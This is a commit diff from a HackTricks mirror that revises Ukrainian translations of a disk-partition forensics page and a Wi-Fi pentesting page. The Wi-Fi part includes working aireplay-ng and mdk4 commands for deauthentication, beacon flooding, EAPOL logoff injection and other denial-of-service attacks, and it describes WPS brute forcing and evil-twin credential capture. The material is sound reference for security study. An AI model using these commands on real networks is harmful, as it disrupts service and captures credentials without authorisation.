mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/basic-forensic-meth
This commit is contained in:
parent
b0afbdebdc
commit
a1993e963a
@ -7,9 +7,9 @@
|
|||||||
Жорсткий диск або **SSD диск можуть містити різні розділи** з метою фізичного розділення даних.\
|
Жорсткий диск або **SSD диск можуть містити різні розділи** з метою фізичного розділення даних.\
|
||||||
**Мінімальна** одиниця диска - це **сектор** (зазвичай складається з 512B). Отже, розмір кожного розділу повинен бути кратним цьому розміру.
|
**Мінімальна** одиниця диска - це **сектор** (зазвичай складається з 512B). Отже, розмір кожного розділу повинен бути кратним цьому розміру.
|
||||||
|
|
||||||
### MBR (майстер завантажувальний запис)
|
### MBR (майстер-завантажувальний запис)
|
||||||
|
|
||||||
Він розміщується в **першому секторі диска після 446B завантажувального коду**. Цей сектор є важливим для вказівки ПК, що і звідки має бути змонтовано розділ.\
|
Він розміщується в **першому секторі диска після 446B завантажувального коду**. Цей сектор є важливим для вказівки ПК, що і звідки має бути змонтовано.\
|
||||||
Він дозволяє до **4 розділів** (максимум **лише 1** може бути активним/**завантажувальним**). Однак, якщо вам потрібно більше розділів, ви можете використовувати **розширені розділи**. **Останній байт** цього першого сектора - це підпис завантажувального запису **0x55AA**. Лише один розділ може бути позначений як активний.\
|
Він дозволяє до **4 розділів** (максимум **лише 1** може бути активним/**завантажувальним**). Однак, якщо вам потрібно більше розділів, ви можете використовувати **розширені розділи**. **Останній байт** цього першого сектора - це підпис завантажувального запису **0x55AA**. Лише один розділ може бути позначений як активний.\
|
||||||
MBR дозволяє **макс 2.2TB**.
|
MBR дозволяє **макс 2.2TB**.
|
||||||
|
|
||||||
@ -39,11 +39,11 @@ MBR дозволяє **макс 2.2TB**.
|
|||||||
| 0 (0x00) | 1 (0x01) | Активний прапор (0x80 = завантажувальний) |
|
| 0 (0x00) | 1 (0x01) | Активний прапор (0x80 = завантажувальний) |
|
||||||
| 1 (0x01) | 1 (0x01) | Початкова голівка |
|
| 1 (0x01) | 1 (0x01) | Початкова голівка |
|
||||||
| 2 (0x02) | 1 (0x01) | Початковий сектор (біти 0-5); верхні біти циліндра (6-7) |
|
| 2 (0x02) | 1 (0x01) | Початковий сектор (біти 0-5); верхні біти циліндра (6-7) |
|
||||||
| 3 (0x03) | 1 (0x01) | Початковий циліндр найнижчі 8 біт |
|
| 3 (0x03) | 1 (0x01) | Найнижчі 8 біт початкового циліндра |
|
||||||
| 4 (0x04) | 1 (0x01) | Код типу розділу (0x83 = Linux) |
|
| 4 (0x04) | 1 (0x01) | Код типу розділу (0x83 = Linux) |
|
||||||
| 5 (0x05) | 1 (0x01) | Кінцева голівка |
|
| 5 (0x05) | 1 (0x01) | Кінцева голівка |
|
||||||
| 6 (0x06) | 1 (0x01) | Кінцевий сектор (біти 0-5); верхні біти циліндра (6-7) |
|
| 6 (0x06) | 1 (0x01) | Кінцевий сектор (біти 0-5); верхні біти циліндра (6-7) |
|
||||||
| 7 (0x07) | 1 (0x01) | Кінцевий циліндр найнижчі 8 біт |
|
| 7 (0x07) | 1 (0x01) | Найнижчі 8 біт кінцевого циліндра |
|
||||||
| 8 (0x08) | 4 (0x04) | Сектори перед розділом (little endian) |
|
| 8 (0x08) | 4 (0x04) | Сектори перед розділом (little endian) |
|
||||||
| 12 (0x0C) | 4 (0x04) | Сектори в розділі |
|
| 12 (0x0C) | 4 (0x04) | Сектори в розділі |
|
||||||
|
|
||||||
@ -60,14 +60,14 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
|||||||
```
|
```
|
||||||
**LBA (Логічне блочне адресування)**
|
**LBA (Логічне блочне адресування)**
|
||||||
|
|
||||||
**Логічне блочне адресування** (**LBA**) є поширеною схемою, що використовується для **вказівки місця розташування блоків** даних, збережених на комп'ютерних носіях, зазвичай на вторинних системах зберігання, таких як жорсткі диски. LBA є особливо простим лінійним адресним методом; **блоки розташовані за цілим індексом**, при цьому перший блок має LBA 0, другий LBA 1 і так далі.
|
**Логічне блочне адресування** (**LBA**) є поширеною схемою, що використовується для **вказівки місця розташування блоків** даних, збережених на комп'ютерних носіях, зазвичай на вторинних системах зберігання, таких як жорсткі диски. LBA є особливо простою лінійною схемою адресації; **блоки розташовані за цілим індексом**, при цьому перший блок має LBA 0, другий LBA 1 і так далі.
|
||||||
|
|
||||||
### GPT (GUID Таблиця Розділів)
|
### GPT (GUID Таблиця Розділів)
|
||||||
|
|
||||||
GUID Таблиця Розділів, відома як GPT, віддається перевага за її покращені можливості в порівнянні з MBR (Основний Завантажувальний Запис). Вона відрізняється своїм **глобально унікальним ідентифікатором** для розділів, GPT виділяється кількома способами:
|
GUID Таблиця Розділів, відома як GPT, віддається перевага за її покращені можливості в порівнянні з MBR (Основний Завантажувальний Запис). Вона відрізняється своїм **глобально унікальним ідентифікатором** для розділів, GPT виділяється кількома способами:
|
||||||
|
|
||||||
- **Місцезнаходження та Розмір**: Як GPT, так і MBR починаються з **сектора 0**. Однак GPT працює на **64 бітах**, на відміну від 32 біт MBR.
|
- **Місцезнаходження та Розмір**: Як GPT, так і MBR починаються з **сектора 0**. Однак GPT працює на **64 бітах**, на відміну від 32 біт MBR.
|
||||||
- **Обмеження Розділів**: GPT підтримує до **128 розділів** на системах Windows і може вміщувати до **9.4ZB** даних.
|
- **Обмеження Розділів**: GPT підтримує до **128 розділів** на системах Windows і вміщує до **9.4ZB** даних.
|
||||||
- **Назви Розділів**: Пропонує можливість називати розділи до 36 символів Unicode.
|
- **Назви Розділів**: Пропонує можливість називати розділи до 36 символів Unicode.
|
||||||
|
|
||||||
**Стійкість Даних та Відновлення**:
|
**Стійкість Даних та Відновлення**:
|
||||||
@ -77,7 +77,7 @@ GUID Таблиця Розділів, відома як GPT, віддаєтьс
|
|||||||
|
|
||||||
**Захисний MBR (LBA0)**:
|
**Захисний MBR (LBA0)**:
|
||||||
|
|
||||||
- GPT підтримує зворотну сумісність через захисний MBR. Ця функція розташована в спадковому просторі MBR, але призначена для запобігання випадковому перезапису дисків GPT старими утилітами на основі MBR, тим самим захищаючи цілісність даних на дисках формату GPT.
|
- GPT підтримує зворотну сумісність через захисний MBR. Ця функція розташована в спадковому просторі MBR, але призначена для запобігання випадковому перезапису дисків GPT старими утилітами на основі MBR, тим самим захищаючи цілісність даних на дисках, відформатованих у GPT.
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -85,7 +85,7 @@ GUID Таблиця Розділів, відома як GPT, віддаєтьс
|
|||||||
|
|
||||||
[З Вікіпедії](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
[З Вікіпедії](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||||
|
|
||||||
В операційних системах, які підтримують **завантаження на основі GPT через BIOS** замість EFI, перший сектор також може використовуватися для зберігання першої стадії коду **завантажувача**. Але **модифікований** для розпізнавання **GPT** **розділів**. Завантажувач у MBR не повинен припускати розмір сектора 512 байт.
|
В операційних системах, які підтримують **завантаження на основі GPT через BIOS** замість EFI, перший сектор також може використовуватися для зберігання першої стадії коду **завантажувача**, але **модифікований** для розпізнавання **GPT** **розділів**. Завантажувач у MBR не повинен припускати розмір сектора 512 байт.
|
||||||
|
|
||||||
**Заголовок таблиці розділів (LBA 1)**
|
**Заголовок таблиці розділів (LBA 1)**
|
||||||
|
|
||||||
@ -93,34 +93,34 @@ GUID Таблиця Розділів, відома як GPT, віддаєтьс
|
|||||||
|
|
||||||
Заголовок таблиці розділів визначає використовувані блоки на диску. Він також визначає кількість і розмір записів розділів, які складають таблицю розділів (зсуви 80 і 84 в таблиці).
|
Заголовок таблиці розділів визначає використовувані блоки на диску. Він також визначає кількість і розмір записів розділів, які складають таблицю розділів (зсуви 80 і 84 в таблиці).
|
||||||
|
|
||||||
| Зсув | Довжина | Зміст |
|
| Зсув | Довжина | Вміст |
|
||||||
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| 0 (0x00) | 8 байт | Підпис ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h або 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)на машинах з малим порядком байтів) |
|
| 0 (0x00) | 8 байт | Підпис ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h або 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)на машинах з малим порядком байтів) |
|
||||||
| 8 (0x08) | 4 байти | Версія 1.0 (00h 00h 01h 00h) для UEFI 2.8 |
|
| 8 (0x08) | 4 байти | Версія 1.0 (00h 00h 01h 00h) для UEFI 2.8 |
|
||||||
| 12 (0x0C) | 4 байти | Розмір заголовка в малому порядку байтів (в байтах, зазвичай 5Ch 00h 00h 00h або 92 байти) |
|
| 12 (0x0C) | 4 байти | Розмір заголовка в малому порядку (в байтах, зазвичай 5Ch 00h 00h 00h або 92 байти) |
|
||||||
| 16 (0x10) | 4 байти | [CRC32](https://en.wikipedia.org/wiki/CRC32) заголовка (зсув +0 до розміру заголовка) в малому порядку байтів, з цим полем, обнуленим під час обчислення |
|
| 16 (0x10) | 4 байти | [CRC32](https://en.wikipedia.org/wiki/CRC32) заголовка (зсув +0 до розміру заголовка) в малому порядку, з цим полем, обнуленим під час обчислення |
|
||||||
| 20 (0x14) | 4 байти | Зарезервовано; має бути нулем |
|
| 20 (0x14) | 4 байти | Зарезервовано; має бути нулем |
|
||||||
| 24 (0x18) | 8 байт | Поточний LBA (місцезнаходження цієї копії заголовка) |
|
| 24 (0x18) | 8 байт | Поточний LBA (місцезнаходження цієї копії заголовка) |
|
||||||
| 32 (0x20) | 8 байт | Резервний LBA (місцезнаходження іншої копії заголовка) |
|
| 32 (0x20) | 8 байт | Резервний LBA (місцезнаходження іншої копії заголовка) |
|
||||||
| 40 (0x28) | 8 байт | Перший використовуваний LBA для розділів (остання LBA основної таблиці розділів + 1) |
|
| 40 (0x28) | 8 байт | Перший використовуваний LBA для розділів (остання LBA основної таблиці розділів + 1) |
|
||||||
| 48 (0x30) | 8 байт | Останній використовуваний LBA (перша LBA вторинної таблиці розділів − 1) |
|
| 48 (0x30) | 8 байт | Останній використовуваний LBA (перша LBA вторинної таблиці розділів − 1) |
|
||||||
| 56 (0x38) | 16 байт | GUID диска в змішаному порядку байтів |
|
| 56 (0x38) | 16 байт | GUID диска в змішаному порядку |
|
||||||
| 72 (0x48) | 8 байт | Початковий LBA масиву записів розділів (завжди 2 в основній копії) |
|
| 72 (0x48) | 8 байт | Початковий LBA масиву записів розділів (завжди 2 в основній копії) |
|
||||||
| 80 (0x50) | 4 байти | Кількість записів розділів у масиві |
|
| 80 (0x50) | 4 байти | Кількість записів розділів у масиві |
|
||||||
| 84 (0x54) | 4 байти | Розмір одного запису розділу (зазвичай 80h або 128) |
|
| 84 (0x54) | 4 байти | Розмір одного запису розділу (зазвичай 80h або 128) |
|
||||||
| 88 (0x58) | 4 байти | CRC32 масиву записів розділів у малому порядку байтів |
|
| 88 (0x58) | 4 байти | CRC32 масиву записів розділів у малому порядку |
|
||||||
| 92 (0x5C) | \* | Зарезервовано; має бути нулями для решти блоку (420 байт для розміру сектора 512 байт; але може бути більше з більшими розмірами секторів) |
|
| 92 (0x5C) | \* | Зарезервовано; має бути нулями для решти блоку (420 байт для розміру сектора 512 байт; але може бути більше з більшими розмірами секторів) |
|
||||||
|
|
||||||
**Записи розділів (LBA 2–33)**
|
**Записи розділів (LBA 2–33)**
|
||||||
|
|
||||||
| Формат запису розділу GUID | | |
|
| Формат запису розділу GUID | | |
|
||||||
| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
|
| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
|
||||||
| Зсув | Довжина | Зміст |
|
| Зсув | Довжина | Вміст |
|
||||||
| 0 (0x00) | 16 байт | [GUID типу розділу](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (змішаний порядок байтів) |
|
| 0 (0x00) | 16 байт | [GUID типу розділу](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (змішаний порядок) |
|
||||||
| 16 (0x10) | 16 байт | Унікальний GUID розділу (змішаний порядок байтів) |
|
| 16 (0x10) | 16 байт | Унікальний GUID розділу (змішаний порядок) |
|
||||||
| 32 (0x20) | 8 байт | Перший LBA ([малий порядок байтів](https://en.wikipedia.org/wiki/Little_endian)) |
|
| 32 (0x20) | 8 байт | Перший LBA ([малий порядок](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||||
| 40 (0x28) | 8 байт | Останній LBA (включно, зазвичай непарний) |
|
| 40 (0x28) | 8 байт | Останній LBA (включно, зазвичай непарний) |
|
||||||
| 48 (0x30) | 8 байт | Атрибути (наприклад, біт 60 позначає тільки для читання) |
|
| 48 (0x30) | 8 байт | Прапори атрибутів (наприклад, біт 60 позначає тільки для читання) |
|
||||||
| 56 (0x38) | 72 байти | Назва розділу (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE кодових одиниць) |
|
| 56 (0x38) | 72 байти | Назва розділу (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE кодових одиниць) |
|
||||||
|
|
||||||
**Типи Розділів**
|
**Типи Розділів**
|
||||||
@ -169,13 +169,13 @@ GUID Таблиця Розділів, відома як GPT, віддаєтьс
|
|||||||
|
|
||||||
### EXT
|
### EXT
|
||||||
|
|
||||||
**Ext2** є найпоширенішою файловою системою для **не журналюючих** розділів (**розділів, які не змінюються часто**) таких як розділ завантаження. **Ext3/4** є **журналюючими** і зазвичай використовуються для **інших розділів**.
|
**Ext2** є найпоширенішою файловою системою для **нежурнальних** розділів (**розділів, які не змінюються часто**) таких як розділ завантаження. **Ext3/4** є **журнальними** і зазвичай використовуються для **інших розділів**.
|
||||||
|
|
||||||
## **Метадані**
|
## **Метадані**
|
||||||
|
|
||||||
Деякі файли містять метадані. Ця інформація стосується вмісту файлу, що іноді може бути цікаво аналітику, оскільки в залежності від типу файлу, вона може містити інформацію, таку як:
|
Деякі файли містять метадані. Ця інформація стосується вмісту файлу, що іноді може бути цікаво аналітику, оскільки в залежності від типу файлу, вона може містити інформацію, таку як:
|
||||||
|
|
||||||
- Заголовок
|
- Назва
|
||||||
- Версія MS Office, що використовується
|
- Версія MS Office, що використовується
|
||||||
- Автор
|
- Автор
|
||||||
- Дати створення та останньої модифікації
|
- Дати створення та останньої модифікації
|
||||||
@ -183,7 +183,7 @@ GUID Таблиця Розділів, відома як GPT, віддаєтьс
|
|||||||
- GPS координати
|
- GPS координати
|
||||||
- Інформація про зображення
|
- Інформація про зображення
|
||||||
|
|
||||||
Ви можете використовувати інструменти, такі як [**exiftool**](https://exiftool.org) та [**Metadiver**](https://www.easymetadata.com/metadiver-2/) для отримання метаданих файлу.
|
Ви можете використовувати інструменти, такі як [**exiftool**](https://exiftool.org) та [**Metadiver**](https://www.easymetadata.com/metadiver-2/), щоб отримати метадані файлу.
|
||||||
|
|
||||||
## **Відновлення Видалених Файлів**
|
## **Відновлення Видалених Файлів**
|
||||||
|
|
||||||
@ -197,22 +197,22 @@ GUID Таблиця Розділів, відома як GPT, віддаєтьс
|
|||||||
file-data-carving-recovery-tools.md
|
file-data-carving-recovery-tools.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### **Файлове Вирізання**
|
### **Вирізання Файлів**
|
||||||
|
|
||||||
**Файлове вирізання** є технікою, яка намагається **знайти файли в масиві даних**. Є 3 основні способи, якими працюють такі інструменти: **На основі заголовків і футерів типів файлів**, на основі **структур** типів файлів і на основі **вмісту** самого файлу.
|
**Вирізання файлів** - це техніка, яка намагається **знайти файли в масиві даних**. Є 3 основні способи, якими працюють такі інструменти: **На основі заголовків і футерів типів файлів**, на основі **структур** типів файлів і на основі **вмісту** самого файлу.
|
||||||
|
|
||||||
Зверніть увагу, що ця техніка **не працює для відновлення фрагментованих файлів**. Якщо файл **не зберігається в сусідніх секторах**, тоді ця техніка не зможе його знайти або, принаймні, частину з нього.
|
Зверніть увагу, що ця техніка **не працює для відновлення фрагментованих файлів**. Якщо файл **не зберігається в сусідніх секторах**, тоді ця техніка не зможе його знайти або, принаймні, частину з нього.
|
||||||
|
|
||||||
Є кілька інструментів, які ви можете використовувати для файлового вирізання, вказуючи типи файлів, які ви хочете шукати.
|
Існує кілька інструментів, які ви можете використовувати для вирізання файлів, вказуючи типи файлів, які ви хочете шукати.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
file-data-carving-recovery-tools.md
|
file-data-carving-recovery-tools.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Вирізання Потоку Даних **C**
|
### Вирізання Потоку Даних
|
||||||
|
|
||||||
Вирізання потоку даних подібне до файлового вирізання, але **замість того, щоб шукати цілі файли, воно шукає цікаві фрагменти** інформації.\
|
Вирізання Потоку Даних подібне до Вирізання Файлів, але **замість того, щоб шукати цілі файли, воно шукає цікаві фрагменти** інформації.\
|
||||||
Наприклад, замість того, щоб шукати повний файл, що містить зафіксовані URL-адреси, ця техніка шукатиме URL-адреси.
|
Наприклад, замість того, щоб шукати цілі файли, що містять зафіксовані URL-адреси, ця техніка шукатиме URL-адреси.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
file-data-carving-recovery-tools.md
|
file-data-carving-recovery-tools.md
|
||||||
|
|||||||
@ -59,34 +59,34 @@ sudo python setup.py install # Install any dependencies
|
|||||||
- Сканує можливі мережі - І дозволяє вам вибрати жертву(и)
|
- Сканує можливі мережі - І дозволяє вам вибрати жертву(и)
|
||||||
- Якщо WEP - Запускає WEP атаки
|
- Якщо WEP - Запускає WEP атаки
|
||||||
- Якщо WPA-PSK
|
- Якщо WPA-PSK
|
||||||
- Якщо WPS: атака Pixie dust та атака грубої сили (будьте обережні, атака грубої сили може зайняти багато часу). Зверніть увагу, що він не намагається використовувати нульовий PIN або базу/згенеровані PIN-коди.
|
- Якщо WPS: атака Pixie dust та атака грубої сили (будьте обережні, атака грубої сили може зайняти багато часу). Зверніть увагу, що він не намагається використовувати нульовий PIN або PIN-коди з бази даних/згенеровані PIN-коди.
|
||||||
- Спробує захопити PMKID з AP для його зламу
|
- Спробує захопити PMKID з AP для його зламу
|
||||||
- Спробує деаутентифікувати клієнтів AP, щоб захопити хендшейк
|
- Спробує деаутентифікувати клієнтів AP, щоб захопити хендшейк
|
||||||
- Якщо PMKID або хендшейк, спробує зламати за допомогою топ-5000 паролів.
|
- Якщо PMKID або хендшейк, спробує зламати за допомогою 5000 найпоширеніших паролів.
|
||||||
|
|
||||||
## Підсумок атак
|
## Підсумок атак
|
||||||
|
|
||||||
- **DoS**
|
- **DoS**
|
||||||
- Деаутентифікація/дезасоціація -- Відключити всіх (або конкретний ESSID/Клієнт)
|
- Деаутентифікація/дезасоціація -- Відключити всіх (або конкретний ESSID/клієнт)
|
||||||
- Випадкові фейкові AP -- Сховати мережі, можливий крах сканерів
|
- Випадкові фейкові AP -- Сховати мережі, можливий крах сканерів
|
||||||
- Перевантажити AP -- Спробувати вбити AP (зазвичай не дуже корисно)
|
- Перевантаження AP -- Спробувати вивести AP з ладу (зазвичай не дуже корисно)
|
||||||
- WIDS -- Грати з IDS
|
- WIDS -- Грати з IDS
|
||||||
- TKIP, EAPOL -- Деякі специфічні атаки для DoS деяких AP
|
- TKIP, EAPOL -- Деякі специфічні атаки для DoS деяких AP
|
||||||
- **Зламування**
|
- **Злам**
|
||||||
- Зламати **WEP** (декілька інструментів і методів)
|
- Зламати **WEP** (кілька інструментів і методів)
|
||||||
- **WPA-PSK**
|
- **WPA-PSK**
|
||||||
- **WPS** PIN "Груба сила"
|
- **WPS** PIN "Груба сила"
|
||||||
- **WPA PMKID** груба сила
|
- **WPA PMKID** груба сила
|
||||||
- \[DoS +] **Захоплення WPA хендшейка** + Зламування
|
- \[DoS +] **Захоплення WPA хендшейку** + Злам
|
||||||
- **WPA-MGT**
|
- **WPA-MGT**
|
||||||
- **Захоплення імені користувача**
|
- **Захоплення імені користувача**
|
||||||
- **Груба сила** облікових даних
|
- **Груба сила** облікових даних
|
||||||
- **Злий близнюк** (з DoS або без)
|
- **Злий близнюк** (з або без DoS)
|
||||||
- **Відкритий** Злий близнюк \[+ DoS] -- Корисно для захоплення облікових даних порталу та/або виконання атак в LAN
|
- **Відкритий** Злий близнюк \[+ DoS] -- Корисно для захоплення облікових даних порталу захоплення та/або виконання атак в LAN
|
||||||
- **WPA-PSK** Злий близнюк -- Корисно для атак на мережу, якщо ви знаєте пароль
|
- **WPA-PSK** Злий близнюк -- Корисно для мережевих атак, якщо ви знаєте пароль
|
||||||
- **WPA-MGT** -- Корисно для захоплення корпоративних облікових даних
|
- **WPA-MGT** -- Корисно для захоплення корпоративних облікових даних
|
||||||
- **KARMA, MANA**, **Гучний MANA**, **Відомий маяк**
|
- **KARMA, MANA**, **Гучний MANA**, **Відомий маяк**
|
||||||
- **+ Відкритий** -- Корисно для захоплення облікових даних порталу та/або виконання атак в LAN
|
- **+ Відкритий** -- Корисно для захоплення облікових даних порталу захоплення та/або виконання атак в LAN
|
||||||
- **+ WPA** -- Корисно для захоплення WPA хендшейків
|
- **+ WPA** -- Корисно для захоплення WPA хендшейків
|
||||||
|
|
||||||
## DOS
|
## DOS
|
||||||
@ -95,7 +95,7 @@ sudo python setup.py install # Install any dependencies
|
|||||||
|
|
||||||
**Опис з** [**тут**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
**Опис з** [**тут**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
|
||||||
|
|
||||||
**Деаутентифікаційні** атаки, поширений метод у Wi-Fi хакінгу, включають підробку "управлінських" кадрів для **примусового відключення пристроїв від мережі**. Ці незашифровані пакети обманюють клієнтів, змушуючи їх вірити, що вони з легітимної мережі, що дозволяє зловмисникам збирати WPA хендшейки для зламу або постійно порушувати мережеві з'єднання. Ця тактика, тривожна у своїй простоті, широко використовується і має значні наслідки для безпеки мережі.
|
**Деаутентифікаційні** атаки, поширений метод у Wi-Fi хакінгу, включають підробку "управлінських" кадрів для **примусового відключення пристроїв від мережі**. Ці незашифровані пакети обманюють клієнтів, змушуючи їх вірити, що вони з легітимної мережі, що дозволяє зловмисникам збирати WPA хендшейки для цілей зламу або постійно порушувати мережеві з'єднання. Ця тактика, тривожна у своїй простоті, широко використовується і має значні наслідки для безпеки мережі.
|
||||||
|
|
||||||
**Деаутентифікація за допомогою Aireplay-ng**
|
**Деаутентифікація за допомогою Aireplay-ng**
|
||||||
```
|
```
|
||||||
@ -109,7 +109,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
|||||||
|
|
||||||
### Пакети Відключення
|
### Пакети Відключення
|
||||||
|
|
||||||
**Пакети відключення**, подібно до пакетів деаутентифікації, є типом управлінського кадру, що використовується в Wi-Fi мережах. Ці пакети служать для розриву з'єднання між пристроєм (таким як ноутбук або смартфон) і точкою доступу (AP). Основна відмінність між відключенням і деаутентифікацією полягає в їхніх сценаріях використання. Поки AP випускає **пакети деаутентифікації, щоб явно видалити зловмисні пристрої з мережі, пакети відключення зазвичай надсилаються, коли AP проходить через вимкнення**, перезавантаження або переміщення, що вимагає роз'єднання всіх підключених вузлів.
|
**Пакети відключення**, подібно до пакетів деаутентифікації, є типом управлінського кадру, що використовується в Wi-Fi мережах. Ці пакети служать для розриву з'єднання між пристроєм (таким як ноутбук або смартфон) і точкою доступу (AP). Основна відмінність між відключенням і деаутентифікацією полягає в їхніх сценаріях використання. У той час як AP випускає **пакети деаутентифікації, щоб явно видалити зловмисні пристрої з мережі, пакети відключення зазвичай надсилаються, коли AP проходить через вимкнення**, перезавантаження або переміщення, що вимагає роз'єднання всіх підключених вузлів.
|
||||||
|
|
||||||
**Цей напад можна виконати за допомогою mdk4(режим "d"):**
|
**Цей напад можна виконати за допомогою mdk4(режим "d"):**
|
||||||
```bash
|
```bash
|
||||||
@ -122,11 +122,11 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
|||||||
```
|
```
|
||||||
### **Більше DOS атак за допомогою mdk4**
|
### **Більше DOS атак за допомогою mdk4**
|
||||||
|
|
||||||
**В** [**тут**](https://en.kali.tools/?p=864)**.**
|
**В** [**цьому місці**](https://en.kali.tools/?p=864)**.**
|
||||||
|
|
||||||
**РЕЖИМ АТАКИ b: Затоплення маяками**
|
**РЕЖИМ АТАКИ b: Затоплення маяками**
|
||||||
|
|
||||||
Відправляє кадри маяків, щоб показати фейкові AP на клієнтах. Це іноді може призвести до збоїв мережевих сканерів і навіть драйверів!
|
Відправляє кадри маяків, щоб показати фальшиві AP на клієнтах. Це іноді може призвести до збоїв мережевих сканерів і навіть драйверів!
|
||||||
```bash
|
```bash
|
||||||
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
||||||
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
||||||
@ -156,16 +156,16 @@ Probing Access Points (APs) перевіряє, чи SSID правильно р
|
|||||||
# -j use inteligent replay to create the DoS
|
# -j use inteligent replay to create the DoS
|
||||||
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
||||||
```
|
```
|
||||||
**ATTACK MODE e: EAPOL Start and Logoff Packet Injection**
|
**ATTACK MODE e: Впорскування пакетів EAPOL Start та Logoff**
|
||||||
|
|
||||||
Затоплення AP **EAPOL Start frames** створює **фальшиві сесії**, перевантажуючи AP і блокуючи законних клієнтів. Альтернативно, ін'єкція **фальшивих EAPOL Logoff messages** примусово відключає клієнтів, обидва методи ефективно порушують мережевий сервіс.
|
Затоплення AP пакетами **EAPOL Start** створює **фальшиві сесії**, перевантажуючи AP та блокуючи легітимних клієнтів. Альтернативно, впорскування **фальшивих повідомлень EAPOL Logoff** примусово відключає клієнтів, обидва методи ефективно порушують мережевий сервіс.
|
||||||
```bash
|
```bash
|
||||||
# Use Logoff messages to kick clients
|
# Use Logoff messages to kick clients
|
||||||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||||
```
|
```
|
||||||
**ATTACK MODE s: Атаки для мереж IEEE 802.11s**
|
**ATTACK MODE s: Атаки для мереж IEEE 802.11s**
|
||||||
|
|
||||||
Різні атаки на управління посиланнями та маршрутизацію в мережах.
|
Різні атаки на управління посиланнями та маршрутизацію в мережах з сітковою топологією.
|
||||||
|
|
||||||
**ATTACK MODE w: Плутанина WIDS**
|
**ATTACK MODE w: Плутанина WIDS**
|
||||||
|
|
||||||
@ -186,16 +186,16 @@ _**Airgeddon**_ пропонує більшість атак, запропоно
|
|||||||
|
|
||||||
## WPS
|
## WPS
|
||||||
|
|
||||||
WPS (Wi-Fi Protected Setup) спрощує процес підключення пристроїв до маршрутизатора, покращуючи швидкість налаштування та зручність для мереж, зашифрованих за допомогою **WPA** або **WPA2** Personal. Він неефективний для легко скомпрометованої безпеки WEP. WPS використовує 8-значний PIN-код, який перевіряється в двох частинах, що робить його вразливим до атак методом перебору через обмежену кількість комбінацій (11,000 можливостей).
|
WPS (Wi-Fi Protected Setup) спрощує процес підключення пристроїв до маршрутизатора, покращуючи швидкість налаштування та зручність для мереж, зашифрованих за допомогою **WPA** або **WPA2** Personal. Він неефективний для легко скомпрометованої безпеки WEP. WPS використовує 8-значний PIN-код, який перевіряється на дві половини, що робить його вразливим до атак методом перебору через обмежену кількість комбінацій (11,000 можливостей).
|
||||||
|
|
||||||
### WPS Bruteforce
|
### WPS Bruteforce
|
||||||
|
|
||||||
Існує 2 основні інструменти для виконання цієї дії: Reaver та Bully.
|
Існує 2 основні інструменти для виконання цієї дії: Reaver та Bully.
|
||||||
|
|
||||||
- **Reaver** був розроблений як надійна та практична атака проти WPS і був протестований на великій кількості точок доступу та реалізацій WPS.
|
- **Reaver** був розроблений як надійна та практична атака проти WPS і був протестований на великій кількості точок доступу та реалізацій WPS.
|
||||||
- **Bully** є **новою реалізацією** атаки методом перебору WPS, написаною на C. Він має кілька переваг над оригінальним кодом reaver: менше залежностей, покращена пам'ять та продуктивність процесора, правильне оброблення порядку байтів та більш надійний набір опцій.
|
- **Bully** є **новою реалізацією** атаки методом перебору WPS, написаною на C. Він має кілька переваг над оригінальним кодом reaver: менше залежностей, покращена продуктивність пам'яті та процесора, правильне оброблення порядку байтів та більш надійний набір опцій.
|
||||||
|
|
||||||
Атака експлуатує **вразливість WPS PIN**, зокрема його відкритість перших чотирьох цифр та роль останньої цифри як контрольної суми, що полегшує атаку методом перебору. Однак захист від атак методом перебору, такі як **блокування MAC-адрес** агресивних атакуючих, вимагає **ротації MAC-адрес** для продовження атаки.
|
Атака експлуатує **вразливість WPS PIN**, зокрема його відкритість перших чотирьох цифр та роль останньої цифри як контрольної суми, що полегшує атаку методом перебору. Однак захист від атак методом перебору, такі як **блокування MAC-адрес** агресивних атакуючих, вимагає **ротації MAC-адрес**, щоб продовжити атаку.
|
||||||
|
|
||||||
